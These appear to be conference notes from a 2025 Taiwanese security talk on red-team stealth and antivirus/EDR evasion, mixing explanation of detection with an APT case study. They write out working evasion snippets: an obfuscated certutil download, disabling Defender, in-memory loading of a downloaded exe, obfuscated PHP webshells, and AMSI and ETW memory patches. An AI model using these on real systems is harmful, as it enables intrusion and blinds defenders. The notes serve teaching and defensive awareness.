--- title: 'CYBERSEC 2025 臺灣資安大會 「Operations Security (OPSEC) — 紅隊不被抓到的秘密!」 (Steven Meow)' disqus: hackmd --- CYBERSEC 2025 臺灣資安大會 「Operations Security (OPSEC) — 紅隊不被抓到的秘密!」 (Steven Meow) === # Table of Contents [TOC] # Conference Info **Conference Title**: CYBERSEC 2025 臺灣資安大會\ **Date**: 2025.04.17\ **Location**: 臺北南港展覽二館 7F 701E **Presentation Title**: Operations Security 紅隊不被抓到的秘密!\ **Speaker**: 游照臨 (Steven Meow) | 趨勢科技 Threat Researcher\ **Description**: >本議程將深入探討如何提升紅隊操作中的隱匿性,確保其行動的隱蔽性及有效性。從網路層面的 DoH、ECH 到 Domain Fronting 等網絡匿名化技術;再到 Payload 管理和 C2 Server 的選擇與配置,涵蓋了使用 Cobalt Strike 以及 Meterpreter 等商業及開源工具。此外,還將介紹如何利用 Injection 等手法及 API 增加操作的隱蔽性,並探討 Mimikatz、BloodHound、impacket 等工具在實戰中的應用注意事項。\ 針對現代防毒和端點保護的挑戰,演講也將探討 AMSI、ETW 等技術與繞過,幫助紅隊成員在執行任務時避開安全檢查,不觸發警報。透過這場演講,參與者將能夠學習到如何在各種安全環境下保持紅隊活動的隱蔽性,同時提升紅隊演練的效果和精準度。 ![5D19D689-72AF-4A3F-83F5-1CA2442FFF92](https://hackmd.io/_uploads/BkYyDPFeWx.jpg) # Presentation Technical Content >[!Note] > 內容也包含自己不太懂,上網 research 的補充知識 Hacker vs. Antivirus/EDR\ ![image](https://hackmd.io/_uploads/rkOSK9Olbg.png) ## Introduction ### EDR / Antivirus 偵測 #### - 惡意指令 Antivirus 不是只看檔案,還會看 Process CommandLine\ ![image](https://hackmd.io/_uploads/Sk3l_vteZe.png) > Windows Defender 跳 `Trojan:Win32/Ceprolad.A` >> certutil.exe: [憑證管理工具](https://learn.microsoft.com/windows-server/administration/windows-commands/certutil)\ >> `-urlcache -f`: 從 URL 抓檔案存成本機檔 在 exe 下載執行前,光 command line 就足以讓 Antivirus 告警 🥚 透過字元拆解、插引號、變形可繞過 Process CommandLine 偵測 ``` ce""rt""ut""il" -u"rl"c"ac"he" -f http://10.211.55.7:8000/s.exe s.exe ``` ![image](https://hackmd.io/_uploads/SkqsYPFxZg.png) #### - 偵測 EDR/AV 被關掉 查詢 Defender(Microsoft Defender Antivirus)的狀態 ``` Get-MpComputerStatus | Select RealTimeProtectionEnabled ``` 將 Defender 即時防護關掉 ``` Set-MpPreference -DisableRealtimeMonitoring $true ``` ![image](https://hackmd.io/_uploads/r1Yt6uFgWe.png) 🥚 修改大小寫繞過偵測 ![image](https://hackmd.io/_uploads/Hy9pa_txWg.png) > SYSTEM 權限下關掉 Defender = 整台機器幾乎無防護 #### - file-based detection EDR/AV 會針對磁碟中檔案的 [hash](https://hash-file.online/)、[signature](https://en.wikipedia.org/wiki/List_of_file_signatures)、[YARA rule](https://github.com/Yara-Rules/rules) 等進行偵測 ![image](https://hackmd.io/_uploads/BJlP1tteZl.png) > Alert:`HackTool:Win32/Mimikatz!pz`\ Affected item:`file: C:\Users\Meow\Desktop\mimikatz.exe` 利用 PowerShell 把檔案載到記憶體,直接執行: ``` $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.1.333:8000/bad.exe') ``` 建立一個 .NET 的 System.Net.WebClient 物件,呼叫 `DownloadData()`,從 URL 把檔案以位元組陣列形式載入,並存入 $data 變數 >[!Note] 沒有寫入磁碟,只存在記憶體 ``` $assem = [System.Reflection.Assembly]::Load($data) ``` >[!Important] >**Reflective Loader**: 將 `$data` 當成一個 `.NET Assembly` 載入`Assembly.Load(byte[])` 會在當前 process 記憶體裡直接載入執行檔 > `$assem` 就是載入後的 Assembly 物件 ``` $method = $assem.EntryPoint ``` 取得 Assembly 的入口點方法 = C# 的 `static void Main(...)` 接著呼叫 Main 函式的參數,讓反射呼叫 EntryPoint 看起來像正常執行 >[!Note] >`MethodInfo.Invoke(object obj, object[] parameters)` 第二個參數型別是 `object[]`,先用 ArrayList 組合,最後再 ToArray() ``` $argu = New-Object -TypeName System.Collections.ArrayList [string[]]$strings = "exploit" $argu.Add($strings) ``` >建立 ArrayList 物件當作參數容器,字串陣列放 "exploit"\ 個陣列加到 $argu 裡 (對應 C# `static void Main(string[] args)` 的 args) $method 是前面取得的 $assem.EntryPoint(也就是 `static void Main(...)`) ``` $method.Invoke($null, $argu.ToArray()) ``` > `$null`:EntryPoint 是 static,不需要 instance\ > `$argu.ToArray()`:轉成 object[] >> 裡面只有一個元素,就是 string[] 對 .NET 來說 👀 = `Main(new string[] { "exploit" });` ![image](https://hackmd.io/_uploads/Sk1TJKYeWl.png) >[!Tip] >準備一個 string[] { "exploit" } 當作 Main 的 args, 再用反射 Invoke 入口點,讓記憶體中載入的 bad.exe 在目前 PowerShell process 裡執行,會等同於在 cmd 打 bad.exe exploit 一樣。 ## Case Study APT 實際案例:\ ![image](https://hackmd.io/_uploads/HkPmHKFgZg.png) ![image](https://hackmd.io/_uploads/H1uSBtKlWl.png) ### IoC: Indicator of Compromise ![image](https://hackmd.io/_uploads/SyImUYtgWg.png) ### - appitob.exe appitob.exe 是主要的 C2 payload。appitob.exe 在 APT 中主要為 C2 / 後門程式,而且不是直接連攻擊者 VPS,而是把 C2 流量藏在 Microsoft Dev Tunnels(*.devtunnels.ms) 攻擊鏈: ``` 1. 利用 BYOVD + 其他工具取得穩定控制權 2. 在受害機器上執行 appitob.exe 3. appitob.exe 連到 *.devtunnels.ms 的 URL,建立一條加密通道 4. 通道另一端為攻擊者本機或 Cobalt Strike Server(透過 Dev Tunnels 轉發) 5. 後續所有指都走這條看起來是 Microsoft 的 HTTPS 流量 ``` ![image](https://hackmd.io/_uploads/rkkC_qtxZl.png) >看出 C2 流量藏在 *.devtunnels.ms 這個 legit 服務裡 >> LoL C2 >[!Note] >**DEV tunnels**: DEV tunnels 允許開發人員透過互聯網安全地共享本機 Web 服務。這使您可以將本機開發環境與雲端服務連接起來,與同事分享正在進行的工作,或協助建立 Webhook。開發隧道適用於臨時測試和開發,不適用於生產工作負載。([Microsoft document](https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/overview)) >>可以把自己本機上的 local web service(API、測試站)暫時公開到 Internet,不用自己架公網 IP 或處理 NAT/防火牆。 在本機架一個簡單 Flask API,透過 "Forward a port" ,從 local 端連到 Microsoft 的 Dev Tunnel 服務建立持久 TCP/TLS 連線 ![image](https://hackmd.io/_uploads/BJToi9YlZg.png) > Dev Tunnel 會在雲端點掛上一個子網域 xxxx-5000.usw3.devtunnels.ms Dev Tunnel 在 Microsoft 端開了一個 HTTPS endpoint ![image](https://hackmd.io/_uploads/r1l73qKgWg.png) >[!Important] 攻擊思維:將 Dev Tunnels 視為 LoL C2 tunnel\ 在本機上開一個 Dev Tunnel,把 C2 server 或 CS teamserver 綁在本機某個 port。透過 Dev Tunnel 拿到 https://xxxx-5000.usw3.devtunnels.ms/ URL。\ 在 appitob.exe 等 implant 裡,把 C2 目標寫成這個 URL。 👉🏻 受害機器的所有 C2 流量就只會顯示為對 *.devtunnels.ms 的 HTTPS 連線,來源目標都是 Microsoft。 ``` 本機服務 ↔ Dev Tunnel ↔ 外部使用者 ``` ### - za.sys za.sys 是 Zemana 有簽章但有漏洞的驅動程式 (Zam64.sys),原用於 Zemana 移除工具用的核心驅動。但被利用漏洞在 kernel 權限下關掉 EDR / AV > Zam64.sys driver 缺陷: 未授權的 IOCTL 可以做任意記憶體讀寫、任意 process/driver 操作等 >> BYOVD(Bring Your Own Vulnerable Driver) ![image](https://hackmd.io/_uploads/Hkir05FeWe.png) >[!Important] 攻擊思維:以系統/管理員權限落地兩個檔 >- za.sys >- userland loader(EXE), > - 透過 CreateService / sc start 載入 za.sys 為 kernel driver > - 透過 DeviceIoControl 對 za.sys 發送特製 IOCTL > >若 za.sys 在 kernel 中成功執行,攻擊者就可以利用它的漏洞做很多事 >- 以 kernel 權限枚舉並 Terminate EDR / AV 的 process >- Unload / Patch 安全產品的驅動 >- 清除 userland 裡的 hook、解除關鍵保護機制 > >⚠️ 當 EDR / AV 從 kernel 層被移除或關閉後,後續再執行 appitob.exe、beacon_x64.exe、mimikatz、橫向移動工具等,就幾乎不會被偵測 ### - svc.exe svc.exe 也是其中一個 C2 payload,把 C2 流量藏在 Microsoft 365/SharePoint/Graph API 裡,負責對外連線、接收指令、回傳結果 svc.exe 在執行時,會頻繁連到這些 SharePoint URL ![image](https://hackmd.io/_uploads/Sk0wXstlbe.png) 一堆 SharePoint URL 不是在正常工作,而是惡意程式在用 SharePoint 當 C2 平台 ![image](https://hackmd.io/_uploads/S1wvSiYlWg.png) > 刻意將指令與結果塞進 SharePoint / Graph API 裡,讓行為看起來像正常運作,而不是連可疑 VPS >[!Note] >**Graph Strike**: >GraphStrike 是一個現成的紅隊 / 研究工具,提供 Cobalt Strike 用的一套工具組(UDRL + Server + Provisioner)。讓 Beacon 的 HTTP(S) C2 利用 Microsoft Graph API 後面接 SharePoint / OneDrive 等服務來做偽造流量 >GraphStrike 的 C2 流量 pattern 透過 SharePoint URL 白名單 Bypass 偵測,而 Beacon 流量本身消失在 Microsoft 雲端裡 > >**Graph Strike 架構**: >![image](https://hackmd.io/_uploads/S10APjFlbg.png)\ > ([GraphStrike: Anatomy of Offensive Tool Development](https://redsiege.com/blog/2024/01/graphstrike-developer/)) GraphStrike 連線架構: ![image](https://hackmd.io/_uploads/HktldiKeWx.png) - Beacon 表面上只是跑 GraphStrike.exe / Beacon ,內部 WinINet HTTP client 被 UDRL 重新導向:`HttpOpenRequestA/HttpSendRequestA` 等呼叫被包裝,用 Graph API 的 URL/Headers/Body 送出 - Microsoft Graph / SharePoint 充當「Task Queue + Output Storage」,每個 Beacon 皆有 `TS tasking file`(藍) 及 `Beacon output file`(藍)。將執行指令寫在 task 檔,結果寫在 output 檔 - GraphStrike Server 對每個 Beacon 開一條 thread: 1. 等待 TS 有新的 task(HTTP GET 拉 CS Server 任務) 2. 把任務內容 upload 成 SharePoint 某個檔案(Task Node) 3. 等待 Beacon 把 output 寫回另一個檔案 4. 下載 output、發回 Cobalt Strike Team Server - Cobalt Strike Team Server 看似 Beacon 在用 HTTP profile 和 TS 交談,🥚 實際封包是: ``` Beacon → Microsoft → GraphStrike Server → Cobalt Strike Team Server ``` ### - beacon_x64.exe beacon_x64.exe 是 Cobalt Strike 在產生 64-bit Windows EXE payload 時的預設檔名 在 Cobalt Strike GUI 裡,建好一個 HTTP/HTTPS Listener。 ``` Attacks → Packages → Windows EXE (64-bit) ``` CS 會輸出預設檔: `beacon_x64.exe` ![image](https://hackmd.io/_uploads/SkTqsiFeWg.png) ## EDR Killer – BYOVD Attack Kernel Driver 的威力:\ ![image](https://hackmd.io/_uploads/Bk2YCiYe-g.png) ### BYOVD BYOVD 定義與歷史,攻擊者帶一個 vulnerable driver 進受害機器,藉此拿到 **kernel 權限**、關掉 EDR\ ![image](https://hackmd.io/_uploads/S1lJJ2Fxbx.png) ### LoL Drivers Living-off-the-Land Drivers:原生或合法驅動被濫用 LoL Drivers 漏洞多為安全產品本身的 driver\ ![image](https://hackmd.io/_uploads/HkpYXpKg-x.png) LoL Drivers List: ![image](https://hackmd.io/_uploads/B1ZXNTtl-g.png) ### Weaponize Project:Terminator ![image](https://hackmd.io/_uploads/Hk5HipYx-e.png) [ZeroMemoryEx/Terminator](https://github.com/ZeroMemoryEx/Terminator/tree/master) 重現 Spyboy 的 Terminator 技術的 PoC: 利用 zam64.sys 終止所有 EDR / XDR / AV 的 process **User mode**:\ 在 Terminator 原始 PoC 會定義字串列出常見產品的 process 名稱: `g_edrList[]`\ 在工具取得 device handle 會呼叫一般 Win32 API 連到如 `\\.\ZemanaAntiMalware` 的 device,並送 IOCTL 把自己加入 trusted list,帶入自己的 PID,丟給特定 IOCTL\ 接著用系統 API loop 所有 PID,取得 image name,跟 `g_edrlist[]` 比對,對命中的 PID 呼叫終止 IOCTL,請驅動在 kernel 端處理。 **Kernel mode**:\ 在驅動裡,對應的 IOCTL handler 會檢查呼叫方 PID 是否在 trusted list。若是,會對指定 PID 做 process 查找(類似 `PsLookupProcessByProcessId`),視 IOCTL 功能:直接終止 process,或更改 PPL 、權限,讓 user-mode 之後也能操作。 EDR's dilemma: 辛苦藍隊同胞 🔵 ![image](https://hackmd.io/_uploads/BkaFa6tl-x.png) ## C2 Network Hiding – LoL C2 C2 不一定是單純一台 VPS,可以隱藏在 Tunnel、Clloud 服務,甚至日常軟體裡,形成 LoL C2(Living-off-the-Land C2) What C2 hacker uses ? ![image](https://hackmd.io/_uploads/SJlXqR5gZg.png)\ 紅隊於 C2 要能 快速輪換、很難被封鎖,若被藍隊偵測到一個 IP 或 Domain,頂多只損失其中一個節點,整體架構要能很快換掉。 C2 Server 類型分為 Tunnel-Based, Cloud Based, Legitimate Software:\ ![image](https://hackmd.io/_uploads/H1Pj-1seZg.png) ### - Tunnel-Based C2 Tunnel-Based Tool 主要是為開發者設計的,可將本機或內網的一個 port,透過雲端服務暴露成一個公開 URL\ ![image](https://hackmd.io/_uploads/Sy-bsAceWg.png) > `Cloudflare Tunnel`, `ngrok`, `Pinggy`, `LocalXpose`, `PageKite`, `frp`, `chisel` 等 ### - Cloud Based C2 Cloud Based C2 可將雲端直接當 C2 Server 或 Redirector。直接在 AWS EC2 / GCP / Azure VM 上跑 TS,或用 AWS Lambda / API Gateway / Cloud Functions 當 C2 前門\ 藍隊 🔵:也無法直接 Block AWS EC2 / CloudFront,因為一堆正常服務也在上面。\ ![image](https://hackmd.io/_uploads/Bkh22Cqx-e.png) > - IaaS / VPS:\ > AWS EC2 / Lightsail, GCP Compute Engine, Azure VM, DigitalOcean, Vultr, Linode, Hetzner\ 直接跑 CS TS、Mythic、Sliver、Covenant 等 C2 framework >- PaaS / Serverless:\ >[web app redirector] Heroku, Render, Railway, Flyio [function] AWS Lambda, Azure Functions, GCP Cloud Functions\ [REST API] AWS API Gateway, Azure API Management >- CDN / Fronting / Edge:\ [Domain Fronting] CloudFront / Fastly / Akamai / Cloudflare CDN\ [Edge Node] Cloudflare Workers / AWS Lambda@Edge\ Encrypted Client Hello (ECH) + Fronting >- Container / Orchestration:\ AWS ECS / Fargate / Kubernetes(EKS/GKE/AKS) ### - Legitimate Software as C2 只要軟體能讀寫資料、可透過網路同步,就有可能被改造為 C2 Channel\ ![image](https://hackmd.io/_uploads/rJxrJJogbx.png) > - SNS Program:\ Slack bot, Microsoft Teams bot, Discord webhook, LINE Bot, Telegram Bot API, Mastodon, Rocket.Chat > - Storage / File / Docs:\ Google Drive, OneDrive, Dropbox, Box, Google Docs, Notion, Confluence, GitLab, Bitbucket > - Other SaaS:\ Jira, ServiceNow, Zendesk, Pastebin, hastebin, SMTP 或是... Counter Strike 1.6\ ![image](https://hackmd.io/_uploads/Sy6ezkilWe.png) > SOC 通報 🔵: "員工在打 CS" ### 🔵 How to detect HTTPS Host ![image](https://hackmd.io/_uploads/r1nF7JoeWl.png) > TLS Client Hello\ > Server Name: xxx.example.com 透過 SNI 可以知道連線要去的 hostname 當作防禦基準分類 正常 CDN(Content Delivery Network):\ 使用者要連 https://aaa.com, DNS 會回一個 CDN 的 IP `104.21.x.x`。瀏覽器在 TLS handshake 的 ClientHello 裡用明文 SNI 寫上 aaa.com,Edge device(FW/Proxy/IDS)就會記錄連線是往 aaa.com。TLS 建立完成後,HTTP 要求被加密,其中的 Host header (aaa.com)。CDN 看到 SNI/Host 都是 aaa.com,會依照內部設定把流量轉送到 aaa.com 的 origin server。∑ 在正常 CDN 模式下,SNI 與 HTTP Host 一致,藍隊看到的目標網域,就是實際被存取的站台。 ![image](https://hackmd.io/_uploads/r1ij4JjgWe.png) Domain Fronting:\ Domain Fronting 刻意讓 SNI 與 HTTP Host 不一致。攻擊端仍對 DNS 查 aaa.com,連到同一個 CDN IP,在 TLS ClientHello 裡把 SNI 設成 aaa.com,讓 Edge device 以為是連到白名單的正常流量,但 TLS 建立後送出的加密 HTTP 要求裡,Host header 改成 evil.com。CDN 依 Host 把流量實際轉發到 evil.com 的 origin,然而藍隊只能看到外層 SNI=aaa.com,看不到被加密的 Host,因此誤以為只是連 aaa.com,真正的 C2 或惡意服務就藏在 CDN 後面,形成 看起來是 aaa.com,實際卻是 evil.com 的隱藏通道。\ ([Encrypted Client Hello (ECH)](https://blog.cloudflare.com/announcing-encrypted-client-hello/)) ## Static / Dynamic Bypass ### Static Obfuscate 靜態混淆已最常見的 PHP webshell 為例: ``` <?php system($_GET["cmd"]); ?> ``` 透過 [PHP 文件](https://www.php.net/docs.php)找替代寫法\ ![image](https://hackmd.io/_uploads/Hk8LjysgWg.png) > system(),可替換 `passthru`, `exec`, `shell_exec`, `popen`, `proc_open` > > 某些 AV/WAF 可能只針對 `system + $_GET` 若 `<?php passthru($_GET[1]); ?>` 還是會被擋,再加一層字串拆解\ ![image](https://hackmd.io/_uploads/r1JB6yolbe.png) > 在 PHP 中,字串加上小括號,若內容是一個有效函式,就會被當成動態函式呼叫,透過 `.` 串接字串 >> `<?pHp $a='pass'; ($a.'thru')($_GET[9487]); ?>` 其他 Webshell 靜態混肴可參考: [HERE](https://hackmd.io/@CHW/ByenX6HRll#Webshell) ### Dynamic Obfuscate #### 1. Command Line 當透過 cmd.exe、powershell.exe、wscript.exe 等直譯器輸入了一段可疑指令,EDR 會在執行前或執行當下,會把即將跑的 script 內容丟給 AMSI。AMSI 再把內容送給 Defender 或其他 AV 引擎分析。 - AMSI – Antimalware Scan Interface ![image](https://hackmd.io/_uploads/HyiXbeogbl.png) cmd: `IEX (New-Object Net.WebClient).DownloadString('http://{IP}/payload.ps1')`為例: 1. PowerShell 丟給 AMSI,將腳本內容當字串或 buffer 傳下去。在 Win32 / COM API Layer 是 AMSI 的 API,提供 `AmsiInitialize`, `AmsiScanBuffer`, `AmsiScanString` 之類的函式。`AmsiScanBuffer` Win32 API 底層會轉成呼叫 COM 介面 `IAntimalware::Scan()` 定義防毒供應商的標準 Scan 函式。 2. Windows Defender 自己有一個 provider class,會實作 `IAntimalwareProvider::Scan()`,負責把收到的 buffer 交給各自防毒引擎分析,通常是 DLL / COM 物件。接著透過 IPC / RPC 等方式,去呼叫真正的 scan engine。 3. 真正的防毒引擎跑在獨立服務 `MsMpEng.exe` 裡,`MpEngine.dll` 是 Defender 的核心掃描引擎(signature / ML / heuristics)。而 MpSvc.dll 充當 RPC server,提供給外界 provider class 呼叫。 另外從 AV Provider Layer 到 `MsMpEng.exe` 用 RPC 溝通,Provider class 不會直接在 PowerShell process 裡做完整掃描,會經由 RPC,把 buffer 傳給 `MsMpEng.exe`。`MsMpEng.exe` 做完分析後,把結果透過 RPC 回傳。 >[!Note] >Provider 註冊機制: >系統裡可以有多個 AV Provider(防毒引擎),每個 Provider 會註冊一個 COM class,實作 `IAntimalwareProvider` / `IAntimalware::Scan`。 >Provider Class registration (綠色圓柱) 是在表示:AMSI 會去查哪一個 Provider 有註冊,再決定要把掃描請求丟給 Windows Defender 或第三方 AV GPT 5.1: ![image](https://hackmd.io/_uploads/S1UBBejlZx.png) - AMSI Bypass ![image](https://hackmd.io/_uploads/rylToBeogWg.png) 1. 將 RCX 設為 0,使其不進行掃描 2. 將 instruction test rcx, rcx 改成為將 Zero Flag 設為 0 的指令 >[!Tip] >Assembly 翻譯: >``` >if (rcx == 0) { > // 不做 AMSI 掃描 >} else { > // 做 AMSI 掃描 >} >``` 在 x64 calling convention 下,RCX 通常是第一個參數,能改變暫存器或判斷式條件,就能讓後面的掃描邏輯被整段略過 ![image](https://hackmd.io/_uploads/SkNDwejeWg.png) 在 x86-64 裡,XOR RAX, RAX (48 31 C0) 把 RAX 清成 0,同時把 Zero Flag 設成 1 ``` $buf = [Byte[]] (0x48, 0x31, 0xC0) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3) ``` > `System.Runtime.InteropServices.Marshal::Copy` 把 managed 的 byte[] 複製到任意記憶體位址,將 $buf 開頭複製 3 個 byte,到記憶體位址 $funcAddr ``` $vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer) ``` >(前面用 VirtualProtect 建好 delegate($ vp))?!\ >Invoke 呼叫 VirtualProtect。先呼叫 VirtualProtect 把那段 code page 權限改成 `PAGE_EXECUTE_READWRITE`。接著 [Marshal.Copy](https://learn.microsoft.com/dotnet/api/system.runtime.interopservices.marshal.copy?view=net-9.0) 寫入 machine code,再用 VirtualProtect 把權限改回原本值($oldProtectionBuffer 存舊 Flag) 如果把原本判斷 test rcx, rcx 這段machine code patch 成「永遠 ZF=1」的序列,那後面的 jz 分支就會永遠變條件成立、不掃描。 >[!Tip] >Assembly 翻譯: >``` >if (always_zero) { > // 不掃 AMSI >} else { > // … 永遠不會到 >} >``` 頭痛的可以參考:[AMSI Bypass: Understanding and Evasion Techniques](https://youssefachtatal.medium.com/amsi-bypass-understanding-and-evasion-techniques-7fc6108b24ff) #### 2. Behavior EDR 不只看 cmd line,還會看實際做了什麼事,例如: - 可疑的 API 呼叫組合([Process Injection](https://arz101.medium.com/process-injection-14fe552c2f1d): VirtualAlloc + WriteProcessMemory + CreateRemoteThread),或大量可疑的 registry 操作、關閉防毒等 - 網路連線模式(往奇怪 Domain、異常頻率 beacon) - 使用 kernel exploit、載入可疑 driver、操作敏感 Handle 等 API hooking, ETW, Kernel callbacks 會收集事件,再用規則或 DL 去判斷行為序列 - ETW (Event Tracing for Windows) 只要程式有註冊成 ETW Provider,所有行為,如 Process 建立、PowerShell 內容、網路連線,都可以被 ETW 紀錄 ![image](https://hackmd.io/_uploads/S1Lp2xsxZg.png) - Controller 如 logman、perfmon、EDR agent,負責啟用停用 ETW Provider、設定 Session、收集結果。 - Windows Kernel 的 Event Tracing Session,有多個 Session,分別記錄不同事件。每個 Session 會接收多個 Provider 的事件:Provider A/B/C:可能是 PowerShell、.NET、Kernel、Sysmon 等。這些 Provider 在程式碼裡呼叫 ETW API,把事件 push 進 Session。 - Session 裡的事件可以被寫到 Trace Files,也可以即時送給 EDR 或SIEM。 EtwEventWrite 邏輯: ![image](https://hackmd.io/_uploads/B1c7ReieZg.png) > 第 1-4 個參數放在:RCX, RDX, R8, R9\ > 會在 RSP 下方預留 32 byte sshadow space,再加上自己的 local 變數\ >回傳值放在 RAX ETW 使用 `ntdll.dll` 裡的 EtwEventWrite 各種 user-mode Provider(例如 PowerShell、.NET Runtime)在要送 ETW 事件時,最後都會經過 EtwEventWrite 這個 API,把 event 寫入 Session。 ![image](https://hackmd.io/_uploads/rJzu1-oxWg.png) 🧠:如果在自己 process 裡把 EtwEventWrite 搞壞,這個 process 送出的 ETW 事件就會寫不出去,偵測系統就少了很多 telemetry。 ![image](https://hackmd.io/_uploads/rkBSe-sg-e.png) 利用 GetProcAddress 找到 `ntdll.dll!EtwEventWrite` 的位址,用 VirtualProtectEx 開權限,再用 WriteProcessMemory 把第一個 byte 改成 0xC3(RET),讓這個 process 之後所有對 EtwEventWrite 的呼叫直接 return,不再往下到 ETW session。 ``` HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite"); ``` >`GetModuleHandleA("ntdll.dll")`: 取得目前 process 裡 ntdll.dll 的模組 handle。ntdll.dll 裡面實作了 EtwEventWrite API\ >`GetProcAddress(hNtdll, "EtwEventWrite")`: 在 ntdll.dll 裡查詢名稱為 EtwEventWrite 的函式位址,回傳的會是一個 LPVOID 指標 > `pEtwEventWrite`= ETW 事件寫入入口點在記憶體中的實際位址。 ``` DWORD oldProtect; VirtualProtectEx(pi.hProcess,(LPVOID)pEtwEventWrite,1,PAGE_EXECUTE_READWRITE,&oldProtect); ``` > VirtualProtectEx(...): > - `pi.hProcess`:目標 process 的 handle,常見是先 CreateProcess 出來的 child,或已注入的 process > - `(LPVOID)pEtwEventWrite`:拿到的 EtwEventWrite 函式位址 > - 1:修改的長度 1 byte > - `PAGE_EXECUTE_READWRITE`:修改權限允許執行、讀寫 > - `&oldProtect`:除存原本的權限,以便還原 ``` char patch = 0xC3; // ret WriteProcessMemory(pi.hProcess,(LPVOID)pEtwEventWrite,&patch,sizeof(char),NULL); ``` > `char patch = 0xC3;`: 建立 1 byte 的變數 patch 0xC3 代表指令 RET(return)。 >WriteProcessMemory(...):\ 把 EtwEventWrite 函式開頭的第一個 byte 改成 RET 當目標 process 裡有程式呼叫 EtwEventWrite(...) 時進入函式,第一指令就是 RET,立刻 return 回去 ``` VirtualProtectEx(pi.hProcess,(LPVOID)pEtwEventWrite,1,oldProtect,NULL); ``` > 將 PAGE_EXECUTE_READWRITE 改回 oldProtect。 >>避免多出 RWX 權限而被偵測 user-mode ETW bypass 頭痛的可以參考:[Bypassing ETW For Fun and Profit](https://whiteknightlabs.com/2021/12/11/bypassing-etw-for-fun-and-profit/) #### - Kernel API Hooking 若繞過 ntdll.dll 的 hook ,還有 kernel 的 API hooking / callback,可以在系統呼叫層看所有操作\ ![image](https://hackmd.io/_uploads/SkcwSWseZe.png) EDR 不一定只在 user-mode 看 API,而是在 kernel 裡 hook SSDT / callback(`PsSetCreateProcessNotifyRoutineEx``ObRegisterCallbacks`…),也可改成系統呼叫返回路徑,讓每一次 `NtCreateProcess`, `NtWriteVirtualMemory`, `NtCreateFile` 等都先進 EDR 的檢查邏輯。在 kernel 端的 callback 還是看得到整個事件。 #### - UnHook EDR 用 hook 偵測,可以用 direct syscall 或恢復原始 ntdll 來拆這些 hook,但這些行為容易被進階防禦當成 IOC\ ([自訂跳轉函數的unhook方法](https://killer.wtf/2022/01/19/CustomJmpUnhook.html)) ![image](https://hackmd.io/_uploads/ryJt8WixWg.png) 1. Direct system call 不經過被注入 hook 的 user-mode API( `kernel32!CreateRemoteThread`),直接呼叫 `ntdll!NtCreateThreadEx` 的 syscall stub,甚至自建 stub。有機會避免 user-mode inline hook 或 IAT hook 2. 從乾淨的 ntdll 把原始 code call 回來,再把被 EDR inline 的 JMP 移除,或手動指定自訂 jump,跳過 EDR 的 handler #### - Memory Scan 即使繞過檔案掃描,記憶體也可能會被掃\ ![image](https://hackmd.io/_uploads/HyAhP-igWx.png) 就算 fileless 或加殼混淆可執行檔,只要 payload 在記憶體裡( shellcode、 Cobalt Strike beacon、字串),記憶體掃描引擎仍然可以用 signature, entropy 或 YARA 偵測。 #### - Lazy Loading / Staged Loading 新 beacon 或 loader 啟用時,不要立刻注入惡意 API,先把前半段行為洗成正常程式\ ![image](https://hackmd.io/_uploads/By4XOWigWg.png) 有些 EDR, sandbox 對於 process 剛啟動的幾秒鐘特別敏感:一啟動就 VirtualAlloc + WriteProcessMemory + CreateRemoteThread\ 初始程式先只做簡單初始化、只載入常見 DLL,待條件符合再執行 download, decrypt, inject 等手法。 #### - Sleep Mask 不整 payload 一直明文躺在記憶體裡,休眠期間遮蔽自己,降低被 memory scan 抓到的機率 ![image](https://hackmd.io/_uploads/ryWBKZsxWe.png) C2 beacon 一般會在一段時間內做 injection, dump creds, 橫向,並 Sleep(mins) 等待下次任務,原因在於有些 EDR 會在 process idle, Sleep 期間做 memory scan。 #### - Process Injection ![image](https://hackmd.io/_uploads/HyckcbjgWl.png) Process Explorer:`CreateRemoteThread`, `NtQueueApcThread`, `SetWindowsHookEx`, `RtlCreateUserThread`… 隱藏行程名稱,藏在 explorer.exe, svchost.exe 等,利用現成權限與網路通路,把檔案 IO / network 事件歸到其他 process。 #### - Kerberos OPSec 在做 Kerberoasting、S4U、Golden Ticket、Shadow Credentials 等手法時,也要顧操作痕跡:加密型別、存活時間、log pattern,避免一眼被看出來\ ![image](https://hackmd.io/_uploads/r1aBi-jeZl.png) >1. 盡量使用 AES 型的加密(`aes256_cts_hmac_sha1`),避免 RC4 老演算法 >2. 不要使用 Golden Ticket,使用Diamond, Sapphire ticket >我問 GPT: Golden Ticket 高權限且高持久,但特徵超明顯 >3. 不要開超長存活(幾天、幾週)的 service ticket 或 TGT, ## Conclusion ![image](https://hackmd.io/_uploads/SJmj2eslbl.png) 其他 Bypass EDR/AV 技巧可參考:[Red Team - Bypass EDR/AV](https://hackmd.io/@jonafk555/HklDLZsVJg)